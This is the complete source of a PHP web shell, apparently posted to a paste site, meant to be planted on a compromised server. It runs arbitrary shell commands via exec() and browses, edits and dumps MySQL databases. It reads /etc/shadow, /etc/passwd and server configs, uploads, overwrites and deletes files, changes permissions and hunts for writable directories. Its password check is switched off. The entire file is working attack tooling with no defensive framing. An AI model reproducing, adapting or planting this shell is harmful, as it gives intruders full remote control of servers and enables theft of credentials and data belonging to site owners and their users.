· 9 years ago · Sep 20, 2017, 11:58 AM
1<?php
2//error_reporting(0);
3@ini_restore("safe_mode");
4@ini_restore("open_basedir");
5if(get_magic_quotes_gpc()){
6while(list($key,$val)=each($_POST)){
7$_POST[$key]=stripslashes($val);}}
8set_magic_quotes_runtime(0);
9@set_time_limit(0);
10@ini_set('max_execution_time',0);
11@ini_set('output_buffering',0);
12$name='ds3c';
13$pass='c8d3a760ebab631565f8509d84b3b3f1';
14if(false){#esli nado pishem 'true'
15if (!isset($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER']!==$name || md5($_SERVER['PHP_AUTH_PW'])!==$pass){
16header('WWW-Authenticate: Basic realm="Auth"');header('HTTP/1.0 401 Unauthorized');
17exit;}}
18header("Cache-Control: no-store, no-cache, must-revalidate");
19header("Cache-Control: post-check=0, pre-check=0", false);
20header("Pragma: no-cache");
21function font($color,$text,$size=4){return("<font color=$color size=$size >$text</font>");}
22function w($a){return str_repeat(" ",$a);}
23function b($b){return "<b>$b</b>";}
24function e($e){switch($e){
25case 0:return('no such file');
26case 1:return('no such dirictory');
27case 2:return('permission denied');
28case 3:return('is not dirictory');
29case 4:return('is a dirictory');
30}}
31function test_file($filename){
32return(file_exists($filename)?(is_readable($filename)?false:font('red',e(2))):font('red',e(0)));}
33if(isset($_POST['downl']) && !empty($_POST['downf'])){
34if(!preg_match('/^\//',$_POST['downf'])){
35$_POST['downf']=$_POST['th'].'/'.$_POST['downf'];}
36if(!test_file($_POST['downf'])){
37if(!is_dir($_POST['downf'])){
38$fd=fopen($_POST['downf'], "rb");
39$nam=preg_replace('/.+\//','',$_POST['downf']);
40header("Content-Type: application/octet-stream; name=\"".$nam."\"");
41header("Content-Length: ".filesize($_POST['downf']));
42header("Content-disposition: attachment; filename=\"".$nam."\"");
43while(!feof($fd)){
44$buffer=fgets($fd,4096);
45echo $buffer;
46}
47fclose ($fd);
48exit;
49}
50else $error=font('red',e(4));
51}
52else $error=test_file($_POST['downf']);}
53if(isset($_POST['sql']) && !isset($_POST['exitsql'])){
54$text="<body bgcolor=#C2DDFF>
55<b>Mysql@server:user:pass:db</b>
56<form method='POST'>
57";
58$a=array('server','user','password','db');$i=-1;
59while($i++<3){
60$text.= "<input type='text' name='".$a[$i]."' value='".((!empty($_POST[$a[$i]]))?$_POST[$a[$i]]:'')."'>\n";}
61$text.="<input type='submit' name='sql' value='Connect'>
62<input type='submit' name='exitsql' value='Exit'>";
63$text="\n<body bgcolor=#C2DDFF>
64<b>Mysql@server:user:pass:db</b>
65<form method='POST'>\n";
66$a=array('srv','user','pass','db');$i=-1;
67while($i++<3){
68$text.= "<input type='text' name='".$a[$i]."' value='".((!empty($_POST[$a[$i]]))?$_POST[$a[$i]]:(($i==0)?'localhost':null))."'>\n";}
69$text.="<input type='submit' name='sql' value='Connect'><input type='submit' name='exitsql' value='Exit'>\n";
70if(isset($_POST['sql'])){
71if(isset($_POST['user']))$user=$_POST['user'];
72if(isset($_POST['pass']))$password=$_POST['pass'];
73if(isset($_POST['srv'])){
74$server=$_POST['srv'];
75$connect=mysql_connect($server,$user,$password) or die($text."</form>not connect");}
76else{die($text."</form>");}
77if(!empty($_POST['db'])){mysql_select_db($_POST['db'])or die("Could not select db<br>");}
78function write($data){
79switch($_POST['save']){
80case 0:
81global $dump;
82$dump.=$data;
83break;
84case 1:
85global $fp;
86switch($_POST['compr']){
87case 0:
88fwrite($fp,$data);
89break;
90case 1:
91gzwrite($fp, $data);
92break;
93case 2:
94bzwrite($fp,$data);
95break;}
96break;}}
97function sqlh(){
98global $dump,$server;
99write("#\n#Server : ".getenv('SERVER_NAME')."
100#DB_Host : ".$server."
101#DB : ".$_POST['db']."
102#Table : ".$_POST['table_sel']."\n#\n\n");}
103function sql(){
104global $dump,$connect;
105$row=mysql_fetch_row(mysql_query("SHOW CREATE TABLE `".$_POST['table_sel']."`",$connect));
106write("DROP TABLE IF EXISTS `".$_POST['table_sel']."`;\n".$row[1].";\n\n");}
107function sql1(){
108global $connect;
109$result=mysql_query("SELECT * FROM `".$_POST['table_sel']."`",$connect);
110function test($aaa){
111$d=array();
112while (list($key,$val)=each($aaa)){$d[$key]=addslashes($val);}
113return($d);}
114while ($line=mysql_fetch_assoc($result)) {
115((!isset($key))?($key=implode('`, `',array_keys($line))):null);
116$ddd=test(array_values($line));
117$val=implode('\', \'',$ddd);
118write("INSERT INTO `".$_POST['table_sel']."`(`".$key."`) VALUES ('".$val."');\n");}
119mysql_free_result($result);}
120function head($tmpfname,$name){
121header("Content-Type: application/octet-stream; name=\"$name\"");
122header("Content-Length: ".filesize($tmpfname)."");
123header("Content-disposition: attachment; filename=\"$name\"");
124$fd=fopen($tmpfname, "r");
125while(!feof($fd)){
126echo fgets($fd, 4096);}
127fclose($fd);
128unlink($tmpfname);
129exit;}
130if(isset($_POST['back']) && isset($_POST['table_sel'])){
131$dump='';
132if($_POST['save']==1){
133$tmpfname=tempnam($_POST['save_p'], "FOO");
134switch($_POST['compr']){
135case 0:
136$fp=fopen($tmpfname,"w");
137break;
138case 1:
139$fp=gzopen($tmpfname, "w9");
140break;
141case 2:
142$fp=bzopen($tmpfname, "w");
143break;}}
144switch($_POST['as']){
145case 0:
146switch($_POST['as_sql']){
147case 0:
148sqlh();
149sql();
150break;
151case 1:
152sqlh();
153sql();
154sql1();
155break;
156case 2:
157sqlh();
158sql1();
159break;}
160if($_POST['save']==1){
161switch($_POST['compr']){
162case 0:
163$n='.txt';
164fclose($fp);
165break;
166case 1:
167$n='.gz';
168gzclose($fp);
169break;
170case 2:
171$n='.bz2';
172bzclose($fp);
173break;}
174head($tmpfname,$_POST['table_sel'].$n);}
175break;
176case 1:
177$res=mysql_query("SELECT * FROM `".$_POST['table_sel']."`",$connect);
178if(mysql_num_rows($res) > 0) {
179while($row = mysql_fetch_assoc($res)) {
180$values = array_values($row);
181foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
182$values = implode($_POST['cvs_term'], $values);
183write($values);}}
184break;}}
185echo "$text\n<table height=200 width=100%><tr><td bgcolor=green width=10%>";
186$db_list=mysql_list_dbs($connect);
187echo "<select name='db' multiple size=30>\n";
188while($row=mysql_fetch_object($db_list)){
189$db1=$row->Database;
190echo "<option value='$db1' ".(($db1===$_POST['db'])?'selected':'').">$db1</option>\n";}
191echo "</select></td><td bgcolor=#CBC3B6>\n";
192if(!empty($_POST['db'])){
193$tb_list=mysql_list_tables($_POST['db']);
194echo "<select name='table_sel' multiple size=30>";
195for($i=0;$i<mysql_num_rows($tb_list);$i++){
196$n=mysql_fetch_array(mysql_query('select count(*) from '.mysql_tablename($tb_list,$i)));
197echo "<option value='".mysql_tablename($tb_list, $i)."'".($tr=((isset($_POST['table_sel']) && $_POST['table_sel']===mysql_tablename($tb_list, $i))?'selected':'')).">".mysql_tablename($tb_list, $i).'('.$n[0].")</option>";}
198echo "</select></td><td width=100%>
199<table width=100% height=100% bgcolor='#E3FFF2'><tr><td height=20 bgcolor=#dfdfdf width=100%><nobr>\n";
200if(isset($_POST['table_sel'])){
201$c=array('Browse','SQL','Insert','Export');$i=-1;
202while($i++<3){echo "<input type=radio Name='go' value='".($i)."'>".$c[$i];}}
203echo " <b>".((isset($_POST['table_sel']))?$_POST['table_sel']:null)."</b></nobr></td></tr><tr width=100%><td width=100%>\n";}
204if(isset($_POST['push']) && isset($_POST['querysql']) && preg_match('/^\s*select /i',$_POST['querysql']))$_POST['go']=0;
205elseif(isset($_POST['push']))$_POST['go']=1;
206if(isset($_POST['back']))$_POST['go']=3;
207if(isset($_POST['brow']))$_POST['go']=0;
208if(isset($_POST['editr']) && isset($_POST['edit']))$_POST['go']=4;
209if(isset($_POST['ed_save']))$_POST['go']=5;
210if(isset($_POST['editr']) && !isset($_POST['edit']))$_POST['go']=0;
211if(isset($_POST['go'])){switch($_POST['go']){
212case 0:
213if(isset($_POST['querysql']) && preg_match('/^\s*select /i',$_POST['querysql']) && isset($_POST['push'])){
214$n=mysql_fetch_array(mysql_query(preg_replace('/^\s*select\s+.+\s+from\s+/i','select count(*) from',$_POST['querysql'])));
215$result=mysql_query($_POST['querysql'],$connect);}
216else{$n=mysql_fetch_array(mysql_query('select count(*) from '.$_POST['table_sel']));$sort='';
217if(!empty($_POST['sort']))$sort='ORDER BY `'.trim($_POST['sort']).'` ASC ';$co='0,20';
218if(isset($_POST['br_st']) && isset($_POST['br_en'])){
219$co=$_POST['br_en'].','.$_POST['br_st'];}
220$result = mysql_query("SELECT * FROM `".$_POST['table_sel']."` $sort limit $co",$connect);}
221for($i=0;$i<mysql_num_fields($result);$i++){
222if(ereg('primary_key',mysql_field_flags($result, $i)))
223$prim=mysql_field_name($result, $i);}
224$up_e='';
225echo "<div style='width:100%;height:450px;overflow:auto;'><table border=1>\n";
226while($line=mysql_fetch_array($result,MYSQL_ASSOC)){echo "<tr bgcolor='#C1D2C5'>\n";
227if(!isset($lk)){
228echo "<td><b>EDIT</b></td>";
229foreach(array_keys($line) as $lk){print((isset($prim) && $lk===$prim)?"<td><u><b>$lk</b></u></td>":"<td>$lk</td>\n");}}
230if(!isset($prim)){
231while(list($key,$val)=each($line)){$up_e.="`$key`='".addslashes($val)."' and ";}
232$up_e=substr($up_e,0,-5);}
233else{while(list($key,$val)=each($line)){
234if($key===$prim){$up_e.="`$key`='".addslashes($val)."'";}}}
235$up_e=urlencode($up_e);
236echo "</tr><tr><td><input type=radio name=edit value='$up_e'></td>\n";
237$up_e='';
238foreach($line as $col_value){echo "<td>".((strlen($col_value)>40)?'<textarea cols=40 rows=7>'.htmlspecialchars($col_value).'</textarea>':htmlspecialchars($col_value))."</td>\n";}
239echo "</tr>\n";}
240echo "</table></div><input type=submit name='brow' value='Browse'><b>Sort by
241<input type=text name=sort size=10 value='".((isset($_POST['sort']))?$_POST['sort']:'')."'>
242Show <input type=text size=5 value=".((isset($_POST['br_st']))?$_POST['br_st']:$n[0])." name='br_st'>row(s) starting from<input type=text size=5 value=".((isset($_POST['br_en']))?$_POST['br_en']:'0')." name='br_en'></b>
243<input type=submit name=editr value=Edit>";
244mysql_free_result($result);
245break;
246case 1:
247echo "<input type=submit name=push value=Run><br>
248<textarea cols=70% rows=8 name='querysql'>\n".((!empty($_POST['querysql']))?htmlspecialchars($_POST['querysql'],ENT_QUOTES):((isset($_POST['table_sel']))?"SELECT * FROM `".$_POST['table_sel']."` WHERE 1":null))."</textarea><br><br>\n";
249if(!empty($_POST['querysql'])){
250$result = mysql_query($_POST['querysql'],$connect) or print("<div style='background-color:red;'>".mysql_error($connect)."</div>");
251echo "<div style='background-color:green;'>".mysql_info($connect)."</div>";}
252break;
253case 2:
254echo "<div style='width:100%;height:550;overflow:auto;'><table>\n";
255$fields=mysql_list_fields($_POST['db'],$_POST['table_sel'],$connect);
256for($i=0;$i<mysql_num_fields($fields);$i++){
257echo "<tr><td bgcolor=#DBDCDD><b>".mysql_field_name($fields,$i).'</td><td bgcolor=#B9C3D7>'.mysql_field_type($fields, $i).'('.mysql_field_len($fields, $i).")</b></td><td>".((mysql_field_len($fields, $i)<40)?"<input type='text' name='ed_key:".mysql_field_name($fields,$i)."' value='' size=40>":"<textarea name='ed_key:".mysql_field_name($fields,$i)."' cols=31 rows=7></textarea>")."</td></tr>\n";}
258echo "</table></div><input type=hidden name=insert value=1><input type=submit name=ed_save value=Insert>";
259break;
260case 3:
261if(!isset($_POST['back']))echo '<table height=250 align="center"><TR><TD>
262<table height=100%>
263<tr><td bgcolor="#A8B8F1" width="100" height="20"><b> Export as</b></td></tr>
264<tr><td bgcolor="#D0E0FF" width="100" height="20"><input type=radio Name="as" value="0" checked><b> SQL</b></td></tr>
265<tr><td bgcolor="#D0E0FF" width="100" height="20"><input type=radio Name="as" value="1"><b> CSV</b></td></tr>
266<tr><td height=100%></td></tr>
267</table></TD><td>
268<table width="140" height=100%>
269<TR><TD bgcolor="#A8B8F1" height="20"><b> SQL</b></TD></TR>
270<TR><TD bgcolor="#D0E0FF" height="20"><input type=radio Name="as_sql" value="0" ><b>Only structure</b></TD></TR>
271<TR><TD bgcolor="#D0E0FF" height="20"><input type=radio Name="as_sql" value="1" checked><b>All</b></TD></TR>
272<TR><TD bgcolor="#D0E0FF" height="20"><input type=radio Name="as_sql" value="2"><b>Only data</b></TD></TR>
273<TR><TD bgcolor="#A8B8F1" height="20"><b>CSV</b></TD></TR>
274<TR><TD bgcolor="#D0E0FF" height="20"><b>Terminated </b><input size=2 type=text Name="cvs_term" value=":"></TD></TR>
275<tr><td height=100%></tb></tr>
276</table>
277</td><td>
278<table height=100%>
279<tr><td bgcolor="#E6D29C" width="100" height="20"><input type=radio Name="save" value="0" checked><b> View</b></td></tr>
280<tr><td bgcolor="#E6D29C" width="100" height="20"><input type=radio Name="save" value="1"><b> Download</b></td></tr>
281<tr><td bgcolor="#E6D29C" width="130" height="40"><b> Temp path</b><br><input type=text Name="save_p" value="/tmp"></td></tr>
282<tr><td height=100%></td></tr>
283</table></td><td>
284<table width="120" height=100%>
285<TR><TD bgcolor="#A8B8F1" height="20"><b> Compression</b></TD></TR>
286<TR><TD bgcolor="#D0E0FF" height="20"><input type=radio Name="compr" value="0" checked><b>None</b></TD></TR>'.
287((@function_exists('gzencode'))?'<TR><TD bgcolor="#D0E0FF" height="20"><input type=radio Name="compr" value="1" ><b>Gzip</b></TD></TR>':'').
288((@function_exists('bzcompress'))?'<TR><TD bgcolor="#D0E0FF" height="20"><input type=radio Name="compr" value="2"><b>Bzip</b></TD></TR>
289<tr><td height=100%></td></tr>':'').'</table></td></TR>
290<tr><td><input type=submit value=backup name=back></td></tr>
291</table>';
292if(isset($_POST['back']) && isset($_POST['table_sel'])){
293if($_POST['save']==0){echo "<textarea cols=70 rows=10>".htmlspecialchars($dump)."</textarea>";}}
294break;
295case 4:
296if(isset($_POST['edit'])){
297$up_e=$_POST['edit'];
298echo "<input type=hidden name=edit value='$up_e'>";
299$up_e=urldecode($_POST['edit']);
300echo "<div style='width:100%;height:550;overflow:auto;'><table>\n";$fi=0;
301$result = mysql_query("SELECT * FROM `".$_POST['table_sel']."` WHERE $up_e",$connect);
302while($line=mysql_fetch_array($result,MYSQL_ASSOC)){
303foreach($line as $key=>$col_value) {
304echo "<tr><td bgcolor=#DBDCDD><b>".mysql_field_name($result,$fi).'</td><td bgcolor=#B9C3D7>'.mysql_field_type($result,$fi).'('.mysql_field_len($result,$fi).")</b></td><td>".((mysql_field_len($result,$fi)<40)?"<input type='text' name='ed_key:".mysql_field_name($result,$fi)."' value='".htmlspecialchars($col_value,ENT_QUOTES)."' size=40>":"<textarea name='ed_key:".mysql_field_name($result,$fi)."' cols=31 rows=7>".htmlspecialchars($col_value,ENT_QUOTES)."</textarea>")."</td></tr>\n";
305$fi++;}}
306echo "</table></div><input type=submit name=ed_save value=Save>";}
307break;
308case 5:
309$ted='';
310$_POST2=$_POST;# X.Z. zachem, xernya kakaeto :)
311while(list($key1,$val1)=each($_POST2)){
312if(preg_match('/ed_key:(.+)/',$key1,$m))
313{$ted.="`".$m[1]."`= '".addslashes($val1)."', ";}}
314$ted=substr($ted,0,-2);
315$query=((isset($_POST['insert']))?"INSERT":"UPDATE")." `".$_POST['table_sel']."` SET $ted ".((isset($_POST['insert']))?'':"WHERE ".urldecode($_POST['edit'])." LIMIT 1 ");
316echo "<div style='background-color:white;'>".htmlspecialchars($query,ENT_QUOTES)."</div><br>";
317$result = mysql_query($query,$connect) or print("<div style='background-color:red;'>".mysql_error($connect)."</div>");
318echo "<div style='background-color:green;'>".mysql_info($connect)."</div>";
319break;}}
320echo "</td></tr></table></td></tr></table><input type=hidden name=sql>\n";}
321else echo $text;
322echo "</form></body>";exit;}
323echo "<html><body bgcolor=white><center><table bgcolor=orange height=10 border=1><tr><td><nobr>".font('blue',@php_uname())."</nobr></td></tr></table><table bgcolor=orange height=10 border=1><tr><nobr><td>".font('blue','PHP:'.@phpversion())."</nobr></td><td><nobr>".font('blue',date('H:i:s l d F Y'))."</nobr></td><td><nobr>".font('blue',getenv('SERVER_ADDR'))."</nobr></td><td><nobr>".font('blue',getenv('REMOTE_ADDR'))."</nobr></td></tr></table><br></center>\n";
324if(!test_file('/etc/shadow'))echo font('red',b('shadow readable<br>'));
325if(!test_file('/etc/shadow-'))echo font('red',b('shadow- readable<br>'));
326if(!test_file('/etc/master.passwd'))echo font('red',b('master.passwd readable<br>'));
327if(!empty($_POST['th']))@chdir($_POST['th']);
328echo ((is_writable('/tmp/'))?font('green',"TEMP USE".w(1)):font('red',"TEMP NO USE"));
329#UP
330if(isset($_POST['up']))@chdir('../');
331#CD
332if(isset($_POST['c']) && $_POST['cd']!=''){
333if(!test_file($_POST['cd'])){
334if(is_dir($_POST['cd'])){
335@chdir($_POST['cd']);
336}
337else $error=font('red',e(3));
338}
339else $error=test_file($_POST['cd']);}
340echo w(3)."<input type=text size=60 value=".getcwd().">";
341echo font('blue','USER : '.get_current_user());
342if(file_exists("/"))
343echo((is_readable("/"))?w(2).font('green','DIR / - IS READ'):w(2).font('red','DIR / - IS NO READ'));
344if(file_exists("C:/"))
345echo((is_readable("C:/"))?w(2).font('green','DIR C:/ - IS READ'):w(2).font('red','DIR C:/ - IS NO READ'));
346if(ini_get('safe_mode'))echo w(2).font('red','SAFE MODE');
347echo "<br>";
348?>
349<hr>
350<form method=POST name=main>
351<input type="submit" value="^" name="up">
352<input type=text name=cd>
353<input type=submit value=cd name=c>
354<input type=text name=open>
355<input type=submit value=open name=op>
356<input type=text name=new>
357<input type=submit name=cr value="new file">
358<input type=text name=exec>
359<input type=submit name=exe value=exec>
360<input type=submit name=info value=phpinfo>
361<br>
362<?php
363$ar_file=array('/etc/passwd','/etc/shadow','/etc/master.passwd','/etc/fstab','/etc/hosts','/proc/version','/proc/cpuinfo','/proc/meminfo','/etc/httpd/conf/httpd.conf','/usr/local/apache/conf/httpd.conf','/etc/apache/conf/httpd.conf','/usr/local/httpd/conf/httpd.conf','/usr/local/etc/httpd/conf/httpd.conf','/etc/syslog.conf');
364echo '<select name=passwd>';
365foreach($ar_file as $ar_l){
366if(!test_file($ar_l))echo "<option value='$ar_l'>$ar_l</option>\n";}
367echo '</select><input type=submit name=passw value="read file">';
368?>
369<input type=submit name=menu value=upload>
370<input type=text name=downf>
371<input type=submit name=downl value=download>
372<input type=text name="test">
373<input type=submit name=tes value="perms">
374<input type="submit" name="sql" value="mysql">
375<input type="submit" name="eval" value="eval">
376<br>
377<input type=text name=strin>
378<input type=text name=remot>
379<input type=submit name=copy value=copy>
380<input type="text" name="renold" >
381<input type="text" name="rennew" >
382<input type="submit" name="rename" value="rename">
383<input type=text name=rm >
384<input type=submit name=del value=del>
385<br>
386<input type=reset value=RESET>
387<input type="text" name="mkdir">
388<input type="submit" name="mk" value="mkdir">
389<input type="text" name="rmdir">
390<input type="submit" name="rmd" value="rmdir">
391<input type="text" name="ch_mod">
392<?php
393for($bch=1;$bch<=3;$bch++){echo"<select name=ch_p$bch>\n";
394for($ach=7;$ach>=0;$ach--){echo"<OPTION value=$ach>$ach</OPTION>";}
395echo"</select>";}
396?>
397<input type="submit" name="ch_chmod" value="chmod">
398<input type=submit name=find value='find writeable'>
399<br>
400<hr>
401<?php
402#FIND WRITEABLE##############
403if(isset($_POST['find'])){
404echo b('Start path: <input type=text name=fpath>Only dir<input type=checkbox name="dy" checked>Only writeable:<input type=checkbox name="onw" checked><input type=submit name=fww value="Find it">');}
405if(isset($_POST['fww']) && !empty($_POST['fpath'])){
406echo b('Start path: <input type=text name=fpath>Only dir<input type=checkbox name="dy" '.(isset($_POST['dy'])?'checked':null).'>Only writeable:<input type=checkbox name="onw" '.(isset($_POST['onw'])?'checked':null).'><input type=submit name=fww value="Find it"><hr>');
407$arrfw=array($_POST['fpath']);
408$ife=0;
409while(++$ife<=count($arrfw)){
410$pathfw=$arrfw[$ife-1];
411if(is_readable($pathfw)){
412if($hfw=opendir($pathfw)){
413while(false!==($ffw=readdir($hfw))){
414$ffw=$pathfw.$ffw;
415if(!preg_match('/\/\.+$/',$ffw)){
416if(is_dir($ffw)){array_push($arrfw,$ffw.'/');}
417print(is_dir($ffw)?(is_writeable($ffw)?font('red',"$ffw/<br>",3) :(isset($_POST['onw'])?null:"$ffw/<br>")):(!isset($_POST['dy'])?(is_writeable($ffw)?font('green',"$ffw<br> ",3):(isset($_POST['onw'])?null:"$ffw<br>")):null));}}
418closedir($hfw);}}}}
419
420
421if(isset($_POST['eval'])){
422echo "<textarea cols=70 rows=7 name='ev'></textarea>\n";
423
424
425
426
427
428echo "";
429}
430############################################################################
431#RENAME
432if(isset($_POST['rename']) && $_POST['renold']<>'' && $_POST['rennew']<>''){
433if(file_exists($_POST['renold'])){
434@rename($_POST['renold'],$_POST['rennew']);
435}
436else $error=font('red',e(0));
437}
438#
439
440#RMDIR
441if(isset($_POST['rmd']) && isset($_POST['rmdir'])){
442if(file_exists($_POST['rmdir'])){
443if(is_dir($_POST['rmdir'])){
444if(@rmdir($_POST['rmdir'])) echo font('green',"dir ".b($_POST['rmdir'])." delet");
445else $error=font('red','dir not deleted');
446}
447else $error=font('red',e(3));
448}
449else $error=font('red',e(0));
450}
451#
452#CHMOD
453if(isset($_POST['ch_chmod']) && isset($_POST['ch_mod'])){
454if(file_exists($_POST['ch_mod'])){
455@chmod($_POST['ch_mod'],octdec($_POST['ch_p1'].$_POST['ch_p2'].$_POST['ch_p3']));}
456else $error=font('red',e(0));}
457#
458#DELETE
459if(isset($_POST['del']) && $_POST['rm']!=''){
460if(file_exists($_POST['rm'])){
461if(!is_dir($_POST['rm'])){
462@unlink($_POST['rm']);
463}
464else echo "<br>".font('red',e(4)."<br>");
465}
466else echo "<br>".font('red',e(0)."<br>");
467}
468#
469#EXEC
470if(!empty($_POST['exe'])){
471if(@exec($_POST['exec'],$ar)){
472echo "<textarea cols=70 rows=15>";
473foreach($ar as $line){
474echo $line."\n";
475}
476echo "</textarea>";}}
477#
478#OPEN FILE
479if(isset($_POST['op']) && $_POST['open']!=''){
480if(!test_file($_POST['open'])){
481if(!is_dir($_POST['open'])){
482$fil=file($_POST['open']);
483echo "<textarea cols=100 rows=20 name=edit>";
484foreach($fil as $vv){
485echo htmlspecialchars($vv);
486}
487echo "</textarea><br>".font('green',"FILE : ".$_POST['open'],3);
488if(is_writable($_POST['open'])==1){
489echo w(2).font('green','ACCESS GRANTED');
490echo "<input type=submit name=save value=save><input type=hidden value=".$_POST['open']." name=sv>";
491}}
492else $error=font('red',e(2));
493}
494else $error=test_file($_POST['open']);
495}
496if(isset($_POST['save'])){
497$fr=fopen($_POST['sv'],"w");
498$out=$_POST['edit'];
499fputs($fr,$out);
500fclose($fr);
501}
502#
503#CREATE FILE
504if(isset($_POST['cr']) && $_POST['new']!=''){
505if(is_writable(dirname($_POST['new']))){
506echo font('green',"Create new file : ".$_POST['new'],3)."<br><textarea name=newf cols=100 rows=20></textarea>
507<input type=submit name=cre value=create>
508<input type=hidden value=".$_POST['new']." name=nf>";
509}
510else echo "<br>".font('red',e(2)."<br>");
511}
512if(isset($_POST['cre'])){
513$ee=fopen($_POST['nf'],'w+');
514$out=$_POST['newf'];
515fputs($ee,$out);
516fclose($ee);
517}
518#
519#MKDIR
520if(isset($_POST['mk']) && $_POST['mkdir']!=''){
521if(is_writeable('./')){
522@mkdir($_POST['mkdir']);
523echo font('green',"dir ".b($_POST['mkdir'])." create");
524}
525else echo font('red',e(2));
526}
527#
528echo "<input type=hidden name=th value=".getcwd()."></form>";
529#UPLOAD FILE
530if(isset($_POST['menu']) || isset($_POST['qq'])){
531echo "
532<form enctype=multipart/form-data method=post>
533Save as :<input type=text name=name>File :<input name=userfile type=file>
534<input type=submit value=Send name=go_up>
535<input type=hidden name=qq>
536<input type=hidden name=th value=".getcwd()."></form>";
537if(isset($_POST['go_up'])){
538if(isset($_POST['name']) && $_POST['name']==''){
539$_POST['name']=$_FILES['userfile']['name'];}
540if(!preg_match('/^\//',$_POST['name'])){
541$_POST['name']=$_POST['th'].'/'.$_POST['name'];}
542if(is_uploaded_file($_FILES['userfile']['tmp_name'])){
543@copy($_FILES['userfile']['tmp_name'],$_POST['name']);}
544else echo "<br>".font('red',"Permisions denied");}}
545#
546#TEST PERM
547if(isset($_POST['tes']) && $_POST['test']!=''){
548$j=$_POST['test'];
549if(file_exists($j)){
550$w='';
551if(is_writeable($j)){
552$w=w(1).'WRITE'.w(1);
553}
554if(is_readable($j)){
555$w=$w.w(1).'READ'.w(1);
556}
557echo font('green',$w.sprintf("%o", (fileperms($_POST['test'])) & 0777));
558}
559else echo font('red',$e(0));
560}
561#
562#COPY
563if(isset($_POST['copy'])&& $_POST['strin']!='' && $_POST['remot']!=''){
564if(file_exists(dirname($_POST['remot']))){
565if(file_exists($_POST['strin'])){
566if(is_writable(dirname($_POST['remot']))){
567if(is_readable($_POST['strin'])){
568@copy($_POST['strin'],$_POST['remot']);
569}
570else echo font('red',"no read string file");
571}
572else echo font('red',"no write dest directory");
573}
574else echo font('red',"no such file");
575}
576else echo font('red',"no such dest dir");
577}
578#
579#CHECK DISK
580if(isset($_POST['free']) && $_POST['dirfree']!=''){
581if(file_exists($_POST['dirfree'])){
582$fre=@disk_free_space($_POST['dirfree'])/1048576;
583echo font('green',"Free space in ".b($_POST['dirfree'])." : ".$fre." Mb");
584$fre1=@disk_total_space($_POST['dirfree'])/1048576;
585echo "<br>".font('green',"Full size in ".b($_POST['dirfree'])." : ".$fre1." Mb");
586}
587else echo font('red',"No such disk");
588}
589#
590(isset($_POST['info']))?phpinfo():null;
591#
592#PASSWD
593if(!empty($_POST['passwd']) && isset($_POST['passw'])){
594echo "<center>".font('blue',"file : ".$_POST['passwd'],6)."</center><br><textarea cols=100 rows=15>\n";
595foreach(@file($_POST['passwd']) as $fed)echo $fed;
596echo "</textarea><br>\n";}
597#
598if(isset($error))echo $error;?>
599<hr><?php
600##################################################################################
601if(is_readable(getcwd())){
602if($h=opendir(getcwd())){
603$arr=array();
604while(false!==($f=readdir($h))){array_push ($arr,$f);}
605closedir($h);}}
606else die("<center>".b(font('red','FUNCTION LIST PERMISSION DENIED',6))."</center>");
607sort($arr);
608echo '<table width=800 bgcolor=#DFD6C8 cellspacing=0 cellpadding=0 border=1>';
609foreach($arr as $f){
610$l=@lstat($f);
611print((is_readable($f) && is_writeable($f))?"<tr><td>".w(1).b("R".w(1).font('red','RW',3)).w(1):(((is_readable($f))?"<tr><td>".w(1).b("R").w(4):"").((is_writable($f))?"<tr><td>".w(1).b(font('red','RW',3)):"")));
612$r=sprintf("%o",(@fileperms($f)) & 0777);
613$ow=posix_getpwuid($l[4]);
614$gr=posix_getgrgid($l[5]);
615$fow=($ow["name"]?$ow["name"]:fileowner($f))."/".($gr["name"]?$gr["name"]:filegroup($f));
616if(!is_readable($f) && !is_writeable($f)) echo "<tr><td>".w(12);
617echo "</td><td>$r</td><td>$fow</td>";
618if(!is_dir($f)){
619if(!is_link($f)){
620echo w(2)."<td><i>".$l[7]."</i></td>";}
621else echo "</td><td>link</td>";}
622else echo "</td><td>DIR</td>";
623$fi=htmlspecialchars($f);
624echo "<td>".@strftime('%B %e %H:%M',@filemtime($f))."</td><td>".(is_dir($f)?font('blue',$fi,3):$fi)."</td>\n";}
625?>
626</table></body></html>
627<?php exit; ?>